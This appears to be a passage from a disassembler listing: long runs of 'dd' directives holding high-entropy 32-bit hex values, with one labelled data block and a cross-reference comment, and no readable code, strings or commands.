		dd 0B1BDCFA9h, 3300B573h, 3F8FEB61h, 48651A77h,	56002859h
		dd 86D821A4h, 1004ABAh,	2E77DDAFh, 0A227DCh, 0CE380657h
		dd 1AED0C83h, 26C9A500h, 51F4E645h, 1B170070h, 3F1E9679h
		dd 6408D59Dh, 5FBA518h,	33E05Ch, 3C897B8Ch, 18C0F883h
		dd 34847682h, 0ACF61C63h, 6B21805Bh, 0C45AEA9Bh, 0D47DA300h
		dd 307FAFABh, 8864C49h,	8C663900h, 0B489604Fh, 0B0007873h
		dd 0F8AD9DD9h, 1ED5C601h, 9FF02C1Eh, 9910C0B1h,	0C041A4EDh
		dd 7ECC1401h, 0A8F33BE7h, 7F3C69DCh, 0C2332CD9h, 291284h
		dd 87732C42h, 0B6006FDDh, 8CC41EC7h, 12748118h,	619627h
		dd 0DC5F6B10h, 6260F9A9h, 0E04D2910h, 909054h, 971A6EE9h
		dd 101B5AC4h, 52F97E14h, 0E52B00B0h, 0FAE90277h, 9CF84D84h
		dd 0B51A0802h, 0B04854D7h
		dd 1C01F974h, 77C3EA97h, 60CE4E9Ah, 7779F494h, 4F3002Eh
		dd 896A07C1h, 527D6B88h, 0D95CE400h, 69672C2Dh,	0A6D7003Bh
		dd 0BC44534Ah, 25006BBFh, 38263EBBh, 2682CEC2h,	7C8178h
		dd 7C48F803h, 0D700B457h, 27918C5Eh, 1D258FD3h,	0C0E690FCh
		dd 0AE6EF50Eh, 7400B80Ch, 0E0722F49h, 3A7FC15h,	987DFB60h
		dd 84B04E4Ch, 9B0008B1h, 0AE43ECE1h, 0A8B6A650h, 50D78DAEh
		dd 0E078AF1h, 21B7612Dh, 0C84080FCh, 0DA0DFAEAh, 0D193781Dh
		dd 90EF3C84h, 87DFA880h, 24A00F6h, 2B731E9Bh, 0A0004BE2h
		dd 0C8740957h, 749A137Fh, 0E6C600EEh, 0EFF3B0Bh, 29006650h
		dd 5491813Ah, 2BE8B65h,	97DBAE82h, 0C4C02730h, 0AA07B942h
		dd 0C5E34BA9h, 0A0572DE0h, 443D0EC3h, 0F560216Ch, 0ECCD9B4Ch
		dd 399F1B00h, 0A8F2D9FBh, 125800ACh, 95DC30C9h,	7900AF4Ah
		dd 0BB73AC7h, 0DE57C3h,	0F5E0DFC5h, 0EC92F72Bh,	48BF3100h
		dd 45CEBB75h, 9C110139h, 1AD00980h, 0A4C1EEB3h,	0B254F4A3h
		dd 7D74CF00h, 0A27FF8DBh, 91D73FFh, 0EE4829CCh,	834AB400h
		dd 2018F41h, 31B467B9h,	5CC896E8h, 10C10713h, 21083F89h
		dd 60F2CB62h, 0EFAFEE8h, 86E4425Ch, 18EDF1h, 0BC49F746h
		dd 6FC48D37h, 90CC4A00h, 7F48D543h, 0CA8A0953h,	28800BF9h
		dd 0B56C5655h, 0D0FD6Bh, 11EABFF0h, 0F201003Dh,	0E164D8A2h
		dd 2B002AEBh, 1982C938h, 468BA4h, 0F8D7A375h, 5581DF1Dh
		dd 5C070D79h, 426F76Eh,	176C508Ch, 0E350FAh, 4AA08EDCh
		dd 0C800117Ch, 0CD275FB6h, 1F3DC5D5h, 3FBA8F6Ah, 0F5D31E00h
		dd 0C159823Eh, 101F9A00h, 630457B0h, 0E7370050h, 728B8708h
		dd 1022E8Dh, 5DF5A90Dh,	5668C06Ch, 71AD009Ch, 8FF9A882h
		dd 0AC00BC19h, 0FD62CEB1h, 0C8A21Ch, 0C389571Dh, 4D32CC8Ch
		dd 0E98F9D1Fh, 0F646A480h, 1ACDFE5h, 3074A952h,	0D88ED03Dh
		dd 160162BEh, 87FAEC93h, 0CC293E11h, 0D46650h, 4F427BC7h
		dd 0B3BFB6BEh, 7A8DF4Ch, 8D3B0AC2h, 61924A00h, 14CE0054h
		dd 42F9EA26h, 450E2DFAh, 80132B6Eh, 0DDDA4C0Fh,	0E1C41F89h
		dd 82EE28h, 1D18270Dh, 200CD64h, 0C2B36EF6h, 0BDB9786h
		dd 17D441EAh, 0D694A000h, 7A903EE7h, 0B4DF700h,	70C73FB3h
		dd 4A2A0175h, 88E8F8F6h, 656D2022h, 1C48h, 0F708D58Bh
		dd 6E31B8h, 0B239A04h, 475FE245h, 0B6D19600h, 0A1BCA4A6h
		dd 0A90800B9h, 0BE46554Ch, 17B016C1h, 0CC91E600h, 0D9CB6D70h
		dd 0FEE40088h, 3D388EEEh, 1000E32Eh, 0CF6AB494h, 7DBBC23h
		dd 75DFAF62h, 0FD67C17Ah, 769C307Fh, 9CB031E7h,	5800DD90h
		dd 18FE4C2Ah, 0FABC740Ch, 0B1C407F7h, 0B70368EFh, 0D6E6B038h
		dd 0C600FD4Eh, 3F1F9DF0h, 0ECF139B0h, 605B00DDh, 4871ABB4h
		dd 3400AFF3h, 76D017DCh, 27E445Dh, 82EA9613h, 0E4C84DA2h
		dd 4E00FF34h, 26430FC7h, 13FAB812h, 1DEF9BDh, 928FE8E4h
		dd 53A07082h, 0B20BEC00h, 9E15DBB8h, 26C3046Ah,	8C9A2EA7h
		dd 0E4004268h, 0FC4955D4h, 60F4C0h, 0B13540E7h,	883EC77Bh
		dd 8794E301h, 17532701h, 13814DCCh, 808D7AD7h, 0F665AC58h
		dd 7C6A8200h, 0FD027905h, 0C9A85001h, 0EF7146h,	2B077FDFh
		dd 6B4EBC1Ch, 81FB5C00h, 0BF3898A8h, 73D338E3h,	0B3132200h
		dd 0F5556439h, 921C3C98h, 587D0C8Eh, 85BD3C59h,	2404D6BBh
		dd 63307480h, 793A00D4h, 0A066FE11h, 18038156h,	40934106h
		dd 21EAE89Fh, 0A89461B6h, 0E0B2820Ch, 11DD6A30h, 5876003Ch
		dd 42EA2D1h, 1EB7034Bh,	0B0D35EF3h, 167BD7E0h, 0B25B9C03h
		dd 0D014DAFEh, 0AF380Ah, 0A9E2B6BFh, 0D6A7CE19h, 82BE5225h
		dd 506F3A44h, 0DEF08Ch,	9812DDBAh, 79974496h, 6A42E505h
		dd 180055D7h, 155A4A3Ch, 0B1A70EF6h, 0AB80E619h, 1C04A017h
		dd 55489360h, 0A887800Fh, 18A0AB8h, 0BC6C15B2h,	0E882B76Eh
		dd 3C3C4CA4h, 3B438088h, 89DA2CFDh, 537E58h, 9F379863h
		dd 284ED4BFh, 0E15AB40Eh, 5F00176Eh, 0D01ADA02h, 22930E72h
		dd 99C0C634h, 0A0F2B052h, 8F8C5C00h, 0CC1C6040h, 0A8870337h
		dd 0C4DA2986h, 2AA99A00h, 534609D4h, 0A11C00ABh, 0A390D55Ch
		dd 3E18B46Ch, 0EEC0BA01h, 0F40073Ch, 8189D7A2h,	8A883D9Dh
		dd 98B36CD1h, 0AC00BF97h, 3E9D85C1h, 0ED21CE8Bh, 0B8A2D483h
		dd 94031101h, 5E08C8C1h, 0FF9E1C40h, 117A606Ch,	92EDCCD5h
		dd 296DA20h, 0C9E9F855h, 0E27A23Eh, 1364B890h, 238E80C2h
		dd 779BC308h, 0E2804FBCh, 73B34B13h, 0C099400h,	0D34FB25Ah
		dd 0B9F81DEBh, 80631D82h, 7CEF5BA1h, 0CF20DB49h, 6221EAD9h
		dd 4972E8Ch, 0AE5AD880h, 0B9150849h, 6284AB38h,	1BBB460h
		dd 0E1DF53B8h, 1003E78Fh, 0EAB1A1A4h, 0D7A8D8E7h, 55C83CFCh
		dd 50FC153Dh, 0F8ABDCE1h, 148350FDh, 0E27CA3h, 448E9AC6h
		dd 0F723E143h, 0C050A0F7h, 19ABCF22h, 7E06C303h, 8EB081E4h
		dd 0E1A59C2Dh, 9E0E3885h, 178400BDh, 0AC626C3Fh, 0F310BF00h
		dd 5BA365C8h, 6DEE28Dh,	0A87711ADh, 83022080h, 0D609A5C9h
		dd 76209C0Dh, 19088CB7h, 0A57886Fh, 9EE0696Bh, 230380D6h
		dd 60E58789h, 0FC37600h, 0F064FC77h, 0A433009Eh, 0B3BB3D61h
		dd 0AF29CE7Ah, 8038E476h, 5D8011E8h, 4C63BAE7h,	8C8054A2h
		dd 0D2122F75h, 3AB56100h, 0A0494524h, 0F8E0F8FBh, 384EE6DCh
		dd 7103543Bh, 141BD346h, 0FCA049FDh, 0A1E14401h, 0B0C01786h
		dd 710C1551h, 4BBD58B2h, 219C0866h, 51A8C600h, 0CAB50149h
		dd 0DF1B3979h, 50AFBF19h, 1E822A1h, 761CC47Fh, 3828D992h
		dd 0B419067Ch, 11973DD3h, 0D4AC0206h, 90AE2FF0h, 0F1C3605Bh
		dd 3516FD17h, 30E51300h, 0B3D3376Fh, 0E1230E8h,	8CE0E991h
		dd 0F48454Ch, 0A087DDD2h, 5F610F77h, 384409E6h,	0C07AA93h
		dd 85AB7354h, 0ED80A051h, 8EE45076h, 1800E0D9h,	79EF42ECh
		dd 0CCC73A92h, 0FE21CE08h, 218D83Eh, 88DB101Dh,	872C40F2h
		dd 0A65301B9h, 738E2DFh, 0AE688994h, 0C8A810ECh, 0FC5C5204h
		dd 5F787D09h, 0E0808F8Ch, 57731B3Eh, 56031898h,	3B5D308h
		dd 5C3574F4h, 917444EFh, 0F0138300h, 176E211Dh,	59A701FEh
		dd 0E0D60BDEh, 8692F881h, 4B44F400h, 8411E6B0h,	0D58F30DAh
		dd 0CBCF8B0h, 0E9CC0B18h, 72771910h, 0A25090B4h, 0D8FC8100h
		dd 0CC50923Dh, 194616AEh, 682617B3h, 0A471980Fh, 7A0ED321h
		dd 9D610246h, 0BB4FF30Ch, 0E450348Ch, 0B30B2893h, 0CA258451h
		dd 88982898h
dword_4F0044	dd 5105ABC9h, 933D9E19h, 150B1CE3h, 0E838C49h, 723109AAh
					; DATA XREF: ___:0042CC8Co
		dd 10E5891Ah, 90E925E0h, 47560108h, 93FFE3EFh, 78985142h
		dd 14C4CCAEh, 23DEDB09h, 4678A0BFh, 0B02E7B20h,	1B5E2824h
		dd 4849282h, 0D6182D0Eh, 83D8C7A7h, 8904596Bh, 0DB7CE675h
		dd 0CCD63488h, 95216C09h, 3E607CFAh, 0FE9DC48h,	82480915h
		dd 0E882CF26h, 8E229069h, 0E72C900Ah, 0DEDC117Ch, 806A88DAh
		dd 737CDF96h, 0E409E66Eh, 0C08B10h, 8A19E534h, 47BB3ED3h
		dd 0E0D0283Fh, 171C8CD9h, 2ED1B446h, 0D49EA688h, 90044640h
		dd 9A7F3211h, 55F4158h,	752407E0h, 0D7E530BEh, 270348D3h
		dd 3AAA79D6h, 0E4C4A1B7h, 0AC0F1880h, 0DDBE348Dh, 1958ED02h
		dd 4681D847h, 0EBC042Ch, 80E6A80Bh, 90A6F610h, 0A2529608h
		dd 55F808Eh, 0AED8D05Ch, 0E557C500h, 4220748Fh,	18212C54h
		dd 9239B334h, 4A0797DFh, 4CBB0784h, 2BE230EBh, 760323E8h
		dd 97104494h, 5207A90h,	64D38419h, 43808816h, 98E97A28h
		dd 501118F9h, 0ACFE9B46h, 0CE12ED98h, 218006E0h, 0E504070Bh
		dd 0C06C01E2h, 0E858108Eh, 397C7EEDh, 22430ADEh, 0E59C006Eh
		dd 509E177Ch, 0E850E1C9h, 965C51B4h, 5683100Ch,	12322050h
		dd 14E5DBABh, 4801ECF0h, 0A55E4772h, 4399F313h,	58D6D409h
		dd 9DB44C50h, 0BE017875h, 23B54E5Ah, 0F180CA77h, 29954AB1h
		dd 75008641h, 0D1F0C9A9h, 3AB695Fh, 0D50A0BFDh,	0E901953Eh
		dd 0E106DB7Dh, 28329F2Eh, 12265920h, 6D036C04h,	0E7C022EEh
		dd 0C891627Eh, 974640Eh, 8B074BDEh, 8213B490h, 0B6ADE812h
		dd 60DA0410h, 0EF65529h, 72C70133h, 3C854120h, 0E32C203Bh
		dd 53F4693Ah, 30A6A2D0h, 2B0E1B7h, 571C1500h, 0BFAEF5BCh
		dd 54A67A7Ch, 3B3388C7h, 0E980861Eh, 4CEF79FAh,	405CCF5h
		dd 0B2720CACh, 983FEC06h, 96390059h, 87EEB495h,	972E7ACEh
		dd 0B811C0F9h, 1042E602h, 3840986Fh, 389E4C3Eh,	0A2716021h
		dd 1A014118h, 182E0E82h, 40DA546Fh, 3A0C92A4h, 0DD260589h
		dd 5C484090h, 0A53F9731h, 57DB8911h, 54B000E8h,	0C575C43Fh
		dd 8264C638h, 0DC526B8Fh, 2FD8FC03h, 0A993E43h,	0ADB42649h
		dd 0A9BE02B8h, 9840F62Ch, 6CFECF14h, 18E8B11Eh,	6454E012h
		dd 380A2CB8h, 8FA18E04h, 4500E097h, 79F966Ch, 0A569EA70h
		dd 0D3C910FAh, 0DDF29DA7h, 0CCE8AD26h, 1E411040h, 241F7C6Ah
		dd 1614E6AFh, 0E2C860ACh, 4223EE18h, 70CD11FFh,	4718DA00h
		dd 6CD6E90Bh, 65A9582Ch, 20819458h, 0E049DBCAh,	0B871193Bh
		dd 91473814h, 43DE0BD0h, 80410EBh, 18C76550h, 4160C664h
		dd 34041F00h, 0E292FE3Dh, 9D94A891h, 0F7A7470h,	8F40E35Fh
		dd 0C07CF875h, 2E276721h, 2B0092ADh, 56114A15h,	0A7285B3h
		dd 0E6516BCh, 1A780030h, 0D32A2D03h, 3147E817h,	91CF8B09h
		dd 0E8180B28h, 0DEDD7C0Eh, 6BC870E2h, 7CE09780h, 2AB0490Eh
		dd 14C892A1h, 0E53CF4B4h, 25323300h, 0DD677CD7h, 3934E101h
		dd 1412B41Ah, 144C834h,	1BB3E44Eh, 20C72E57h, 4801041Ch
		dd 0AD93B20Bh, 1C2CBB46h, 0C0D4A78Ah, 42E918DDh, 0D522D746h
		dd 1800FB75h, 0BC205DDh, 2D67B60h, 4045580Ah, 0CCE8A7D7h
		dd 0C8B92472h, 0BD18D579h, 0D3C85300h, 5E76FDC3h, 411F07CEh
		dd 1044BA67h, 9DAB1BDFh, 43C2F4A3h, 145340C2h, 2F31E4D3h
		dd 20901A66h, 81D1D08Eh, 83486E8Fh, 94D69200h, 0A0808C9Ch
		dd 2787068h, 5416740Eh,	3D0C8064h, 3180BBF2h, 15F3C7E4h
		dd 0FC0FBEDAh, 1B8EC05h, 8EBAF627h, 0F1D0EBE5h,	0A3CC3C24h
		dd 0C701113Fh, 0CDC82DFDh, 9883D0F7h, 0E61EF600h, 0D70EDDC0h
		dd 22E50055h, 1CF7A1F1h, 10EC3E8h, 0BAD91Fh, 0FCC4EC2Dh
		dd 0F38A5B9h, 0CB0F2BD2h, 5118291Dh, 0C9088FD7h, 0B0E60CEFh
		dd 0BEFB00FEh, 55EE0902h, 0F2032BDEh, 8307D7B8h, 0E62980A5h
		dd 0DE33CA4h, 23069A00h, 0B9DC9EF7h, 0AAD268A0h, 35CDE248h
		dd 885139C5h, 253EF004h, 10D8A4BFh, 8AEFCE0h, 1360E7DBh
		dd 191800DEh, 0A589DA35h, 0E30C4D8h, 0BF1837B9h, 0C2A74419h
		dd 884B338h, 0ACB8E48Fh, 18762920h, 59E80B82h, 684A4F8Dh
		dd 9D0CC411h, 0C7288B4h, 46F06868h, 17131BDFh, 0A021582Ah
		dd 3F1B0FAFh, 0BDD34138h, 0D5A00695h, 19EC6140h, 521B59EDh
		dd 4242D378h, 2AD65802h, 0EBEF11Dh, 7E87E9FCh, 0D4299921h
		dd 3F4BD909h, 0B9D48396h, 4CC8C592h, 8571919h, 0DC062869h
		dd 860A42DBh, 0C771218h, 964830Fh, 44E420C5h, 98A1DB20h
		dd 51D807F0h, 42590C0Ah, 0C89403Dh, 108ED0E1h, 5813F30Eh
		dd 110100CDh, 91DED77Dh, 140C607Ch, 7C810F9h, 28149A61h
		dd 5D582BE0h, 0BD29E83Ch, 11EBD164h, 0DC711A52h, 0BC8CA8E2h
		dd 0B890DC10h, 0EB127D21h, 55030CC0h, 0F0235524h, 0A6E287D0h
		dd 0E00950F8h, 5CB94CF8h, 4890847Dh, 1654AF44h,	8AA49F24h
		dd 8F8C409Ch, 1E4358Ah,	42EF18E4h, 6E7C3208h, 90993098h
		dd 60210851h, 82396884h, 0F888F7EBh, 881053BDh,	0BFE0DE31h
		dd 8C64208Eh, 6F8D1184h, 734062DCh, 77E0A7DBh, 0C8C72B4h
		dd 80148AC6h, 8C991F68h, 1A00A259h, 4B1B646h, 46922954h
		dd 0E0A59888h, 0F4A155EDh, 525408C0h, 0B8049444h, 90B03B18h
		dd 0A0334B60h, 9A912891h, 0F38D8042h, 2D8C0B99h, 0E3E0A2D9h
		dd 0D80C67DEh, 0A88F2AFFh, 0D70821A8h, 80426291h, 0B99BB8Dh
		dd 24AE208Ch, 7F9C51B6h, 21EADA91h, 83B1B280h, 8590A04Fh
		dd 207999B1h, 8D8B9D14h, 7488D835h, 61A36A6Ch, 0A5AF950h
		dd 0C94E6080h, 51C56507h, 0A826141Ch, 5078F981h, 6AD84A8Ah
		dd 5849BE30h, 4CA944B2h, 2D442C35h, 376CE26Bh, 20CE6EBh
		dd 0D08A21E0h, 78406772h, 11F9D82Ch, 80570C0h, 18A7F7DCh
		dd 0CBDD554h, 0E5B1BA73h, 747C2070h, 82D4CB88h,	51E89C04h
		dd 67B8813Ch, 451E734Dh, 0C23C1CE8h, 0EDFBC911h, 3CD851E5h
		dd 943157C1h, 97101E79h, 54762EC7h, 8F196440h, 0C01AE0BCh
		dd 0FC9C75Ch, 600643E7h, 0F7554ED7h, 79EC0B28h,	0CC48A33Fh
		dd 46004009h, 49712113h, 334229h, 5A862B34h, 6FA5FDD3h
		dd 0EE8E5100h, 9919BB89h, 0FE8DCh, 100A4581h, 7A77967Bh
		dd 1492D700h, 0B6C3B8Ah, 0B51E06B6h, 0A1D20E64h, 0DC96A224h
		dd 23DD9880h, 13777Dh, 485C1E66h, 9EB62A53h, 834A3D00h
		dd 743AE4C7h, 0EF3F03DFh, 0C8E0B5FDh, 82E746C9h, 8D58B418h
		dd 0C67C4098h, 146427B3h, 92B528A1h, 0E101D3DEh, 1076A80Fh
		dd 0E0C811E9h, 493B1C6Ch, 0DB148C45h, 41E93D0h,	82819B54h
		dd 93E9E55h, 2C0EA980h,	0E4317D92h, 3F1F2EEEh, 0A340C22Bh
		dd 44F18B1Ch, 0ECA20183h, 0FAB73D0Ah, 7028802Ch, 20E4C86h
		dd 198D074Ah, 90B18A97h, 78655008h, 9423720h, 79BB8BC6h
		dd 8F39A30Ch, 1E5E2900h, 5CDEB563h, 91F51883h, 0DF498178h
		dd 0FE031AF8h, 7D3EB3AFh, 313900ADh, 25FA068Ah,	3AEA39E5h
		dd 77A6500h, 96CBC817h,	0DCF639B0h, 0F37D74h, 0ACD7CD48h
		dd 1169F2EFh, 8152023Dh, 62441A8Fh, 4886F7DAh, 6138F6B6h
		dd 61865100h, 8E64DCCEh, 63500F1Fh, 0CB606F91h,	9C42A6F0h
		dd 4FB8F10Fh, 0B014002Fh, 7FC99ECh, 0F3B6EFC6h,	0DA64096h
		dd 0B1DDE7D8h, 9500A8DFh, 0E639040Bh, 187E27Fh,	283F23F7h
		dd 0F42DDE65h, 2E17E717h, 0EEF6B71h, 1C8E698Fh,	0FC1E6880h
		dd 80F45BFFh, 0DB1F4EF2h, 0E903E82Bh, 0B017752Eh, 16B2914h
		dd 666FF984h, 0D1715CE3h
		dd 1128B1E0h, 0E0DB6479h, 0DD5225h, 0E9177322h,	845B74F9h
		dd 58011F3Ch, 6B7B0BF0h, 7FE0F4Ch, 0E08E2ED4h, 257D1FE2h
		dd 0B8A3E764h, 50705F04h, 52752443h, 257701B4h,	4B73E4E6h
		dd 33F03F18h, 0E82D1075h, 15E73Ch, 0ED6F4A76h, 0F4A3AA50h
		dd 86AFA61Bh, 0E1558018h, 0D1543E2Dh, 0D414C506h, 5C0048EEh
		dd 0E98C429Ah, 0F73436Dh, 0B9014798h, 8B95A720h, 233CF56Eh
		dd 0F90583BEh, 98F48764h, 0F08961h, 0E06F04B4h,	9B836578h
		dd 0C90BB700h, 0C68B8E17h, 2270004Fh, 0BB64A35Ah, 18C0F9F8h
		dd 246BF25Ch, 6F6D1EEAh, 40A214CCh, 987CDA1Eh, 7251E977h
		dd 7888173Ah, 0F8C61574h, 29C021BDh, 7CA001h, 5E3D701Ah
		dd 18FB1D1h, 776E4D03h,	0FE8AE053h, 17B5560Ch, 103C6876h
		dd 75C2CE4Ch, 0A0B1640h, 5EF90448h, 4506B8BCh, 405C9F72h
		dd 6A41F67Ah, 508C98E9h, 0A57878EEh, 6A7DB1CFh,	0A9538CCEh
		dd 3CEE0138h, 40C981C0h, 2A7E1CC7h, 0C1F8CF87h,	547FFF6h
		dd 0F9F0E4FDh, 0B8A898ABh, 31E2B397h, 4119740Fh, 89868CF4h
		dd 0DE48A3D3h, 283F4948h, 6415C7C9h, 0F09B7E6h,	82AA14D9h
		dd 0C07AAB80h, 72009FE8h, 480E9C41h, 687116h, 64762D84h
		dd 6A292F57h, 63E91EF0h, 85523D78h, 22E969E8h, 3805485h
		dd 434413h, 58647C5Eh, 810A3A28h, 44337729h, 90FC2C80h
		dd 145DFD86h, 4E0F4E3h,	553D42DEh, 0C9ADFF6h, 66150800h
		dd 0E1451653h, 521B7418h, 853E08B2h, 1FBE7821h,	0E3147377h
		dd 0E412E9A0h, 57CC4947h, 0A609104Ch, 88934408h, 305BAB89h
		dd 0BF593B33h, 0C51028A5h, 95136189h, 86764C4h,	701007C4h
		dd 261C4710h, 5DF9CD7h,	210C4789h, 5917140Ch, 1B50008Ch
		dd 4A6A3F38h, 7246A428h, 78734409h, 76127989h, 6C487724h
		dd 897AC4BFh, 2480127Bh, 917E4881h, 4474227Fh, 83898285h
		dd 0CFE08813h, 5002343Fh, 6464B1Ah, 0F8F49114h,	8486B894h
		dd 49777B2h, 0A17E3058h, 0BC40DF08h, 16C331Dh, 0EE88E064h
		dd 0F1D27E34h, 80E08005h, 6D876A8Ch, 33221375h,	1E6F1F76h
		dd 8908036Eh, 4C877286h, 980F840h, 7FE58053h, 8A8CC8F1h
		dd 75508702h, 530C787Ch, 1FFA5F48h, 4A56FD04h, 1F88CCFBh
		dd 43424702h, 2F3C3D23h, 5738FD8Ah, 0E2520101h,	3810174Ch
		dd 4E32E35Dh, 28360935h, 7F042118h, 607DC55h, 7FFE90CFh
		dd 8A75E350h, 10F9501Bh, 38935265h, 0A40028B8h,	0B8B736C9h
		dd 0F8730A09h, 18D360F8h, 0EE78FEA1h, 6288811Ch, 1CD528B8h
		dd 45EFF000h, 4AB76C50h, 28FB52E7h, 0E453DB2Fh,	4A385483h
		dd 0F0410CC5h, 24307596h, 72F95200h, 27294C58h,	7E220350h
		dd 15E9593Ah, 1EA84FC3h, 1F00F70Fh, 53697B2Ch, 2B627629h
		dd 9E147CDEh, 70201F4Dh, 64702F30h, 7B29E700h, 3A7D595Bh
		dd 234C0168h, 28DF5803h, 6264F875h, 0E253260Dh,	14F490F8h
		dd 181E6077h, 0E5DF4F76h, 0E3657007h, 804C28F8h, 57243B88h
		dd 0E05C0480h, 0E84E03F9h, 7876FB30h, 0C34C7B22h, 0F9E96B31h
		dd 7C295978h, 0A8A10C67h, 16532400h, 3DDB5875h,	0E880762Ch
		dd 0DD6B272Bh, 0DCA67A2Dh, 0FFB0F303h, 0C08B95D1h, 0C177F804h
		dd 1254CA49h, 0EEFDCF1Bh, 90BD5817h, 40D4EFCAh,	5823E18Ah
		dd 493E4779h, 50F87D33h, 89983B0Bh, 0D824F41Fh,	0F000987Dh
		dd 19CAFC6Dh, 0C0E6087Fh, 93A712A1h, 0F230DAE3h, 0F5F4686Ah
		dd 5EA9C43Ah, 74A0386h,	5382A034h, 0E67240FEh, 0E4E18F63h
		dd 7631223Dh, 17CAFD19h, 0E608D268h, 37317760h,	0CCF4A695h
		dd 54590818h, 0D5887278h, 7F5D807Eh, 844052F1h,	1929DD06h
		dd 0B87E2F77h, 5D598676h, 303085C9h, 0F079EE95h, 59C86530h
		dd 0B90187A9h, 0CC88A7Fh, 0F8D112EFh, 8E03B100h, 4CFE7617h
		dd 5C5B018Ah, 97FF7D1h,	925180EFh, 0E950EAF2h, 7975606Dh
		dd 0F84503B3h, 0CF305A63h, 73B91E71h, 2FC6AB0h,	97FEBA06h
		dd 0A4A66DE8h, 2C0AC970h, 0DCCE68F7h, 0BEF17C18h, 0F1A2315Ch
		dd 9599CC31h, 2A4C7ED9h, 7D1C5878h, 91707BDAh, 7E410BB7h
		dd 888B3008h, 0A68A46B9h, 308D8331h, 38244E95h,	0F34CA986h
		dd 0E8495854h, 3954368Eh, 0E230FEB8h, 756EEF31h, 0E564A4A5h
		dd 19569631h, 1A01B888h, 0FE096B59h, 0C2771017h, 1B5388BEh
		dd 106D5021h, 2611AE32h, 0F743778Eh, 0A6CB2F1h,	53503C28h
		dd 0EEE128A2h, 4A39CE21h, 0F843BA08h, 587F02F1h, 78A11850h
		dd 46841A52h, 0A11F2881h, 841A2A28h, 20288A82h,	0A1C24684h
		dd 0E61871FEh, 9F5C724Ch, 9886CA6h, 438CA4D1h, 3106EA54h
		dd 85A455B8h, 0D56E0D21h, 2161505Ah, 710FF28Ch,	87094030h
		dd 25327CF1h, 217F90E2h, 9EAD9056h, 4420C978h, 0C604EED0h
		dd 0F4970874h, 910DB0Ch, 134CE953h, 98320653h, 4A7B045Eh
		dd 940A34ADh, 70C048D1h, 63538DBDh, 6310110Ah, 0E84444F2h
		dd 8A38E64Dh, 414CA85Dh, 8B87028h, 85A6F0B6h, 1C382E00h
		dd 1E3D47C9h, 325356Fh,	3FF71B42h, 436575F0h, 4E031CEAh
		dd 52731FDEh, 3887E9E2h, 3F292BD0h, 7400596Bh, 2717E669h
		dd 7E3E3552h, 30550016h, 2F594804h, 0F8665802h,	0E9379840h
		dd 1B5545F0h, 405D70FAh, 0D4C26882h, 2ADE2D40h,	58407B52h
		dd 0DD5D1D54h, 64037A3Ch, 59537449h, 3030A5F9h,	14E03888h
		dd 1C52772Dh, 2355AFC2h, 64C67D20h, 0E8F87CDEh,	0AA1974E0h
		dd 5008E560h, 52957622h, 0FB2877C0h, 7CE3C9E3h,	0B32A1859h
		dd 3ADC00C0h, 0E7E325C3h, 512CAE76h, 0C40188DFh, 0B87036F9h
		dd 252C0A11h, 60382350h, 1E432B7Eh, 5313120Eh, 9429AEDFh
		dd 4070A414h, 0EA1250F7h, 0C0375C43h, 2A55747Fh, 0B0F8642Ch
		dd 0C1E43BE0h, 0EAB82A4Bh, 48204E0Eh, 211C4927h, 0F023433Fh
		dd 2C002E99h, 3E6ED68h,	7E39E152h, 2F581335h, 1E001D71h
		dd 88283077h, 1078E312h, 0E5009890h, 3A265C7Ah,	26E25B2Bh
		dd 1E400217h, 7C2830F9h, 50136834h, 2025012Fh, 48A66C1Fh
		dd 8FADD0Dh, 307B5092h,	39702374h, 388B91D3h, 332880AEh
		dd 7657A1Dh, 42E7F8DFh,	0AE29A4D4h, 5854B4CBh, 1D50B084h
		dd 1E2BE666h, 7B4D0925h, 752FD081h, 2920E013h, 76405062h
		dd 0E8C06062h, 1D4C016Bh, 2AED1704h, 1050D305h,	800F7A8Ch
		dd 0DDE15B28h, 0E3668Bh, 2DE84E70h, 580C7876h, 0E2068C5Ch
		dd 106B7123h, 604F0337h, 0AC876684h, 91E81783h,	0B12B527Dh
		dd 5C409CF4h, 8CE9640Eh, 785DC828h, 0F0DA9572h,	26AB60D2h
		dd 1525A0B0h, 7DEC7677h, 3FF8A5FEh, 172BD49Eh, 39D46017h
		dd 282CDC5Dh, 62C060E8h, 0F0554AE7h, 74E3F475h,	0A5B893FBh
		dd 7079CC7Ch, 3A231C30h, 22006B7Bh, 5CDE5278h, 81F97625h
		dd 14E86430h, 0A72B6975h, 7E1E178Ch, 81FE28DAh,	27294328h
		dd 515C464h, 7A145765h,	17E49C52h, 8B0C534Dh, 4980059h
		dd 0E81C5867h, 25E1E952h, 5281AD3h, 0C46A2068h,	5517FC60h
		dd 100C304Dh, 0E4577D2Dh, 416DC4Ch, 71C04368h, 0C7C51481h
		dd 627BB220h, 8F751061h, 87640369h, 0E3457C1Eh,	522320C8h
		dd 1FD22C77h, 0FE88353Ch, 61767382h, 1F3E434h, 64265CF8h
		dd 0F3052CE1h, 803AB031h, 1849744Fh, 0FF5C5020h, 5BE3832h
		dd 0CDEF0F74h, 80FB046Ah, 71D5FAC0h, 9D8C00C1h,	0D48DE26Fh
		dd 252DC47h, 0A044C21Ch, 80189772h, 0E1BC9FE7h,	4705BD92h
		dd 0CE6A88CFh, 0C580683Bh, 0DFB5C003h, 0C19A9200h, 0BBBE88D9h
		dd 899007E3h, 0CA01CFC2h
		dd 0C9B59840h, 0BA5003E8h, 0AB002E50h, 2F2DA6DEh, 7AC1A08Dh
		dd 0B66C07E6h, 609D8AE3h, 0BC6A86CFh, 6BFDCB00h, 0CE88E1B7h
		dd 3CC3F49h, 87E6B903h,	0EA0BB6Ch, 0E80EBABCh, 604895E3h
		dd 0E7C09F8Ch, 0FA4AF003h, 0B7A100FFh, 0BB93FCCBh, 0BF3ADF94h
		dd 50E33E56h, 0CE068C9Ch, 9287CC48h, 57030320h,	90FFE64Ah
		dd 0E889E3A1h, 0F63AE82Eh, 8CD81E9Ah, 83CF484Eh, 1E460EEh
		dd 0EBB55D68h, 42CBC08Eh, 3497BC80h, 3E60C60h, 614A788Eh
		dd 87DA60EDh, 0E1684B9Bh, 6BDCD00Ch, 0A1F4A1BBh, 9AFDA840h
		dd 88CB3A56h, 1D2EF050h, 14C35DAEh, 891EC0BAh, 0F6D986A0h
		dd 9A032186h, 918CE846h, 8187A26Dh, 869294C8h, 0C8029094h
		dd 0CE60DA30h, 9D297EC1h, 10A938C0h, 0DC07C7Eh,	5D6A8CCBh
		dd 0D5B7F0E8h, 0C48F28DFh, 0E65A44E7h, 0DC011C84h, 0D0B78691h
		dd 0DCBA2080h, 0D56FA092h, 0C10689E8h, 0B66B2EE2h, 0BC9B24E8h
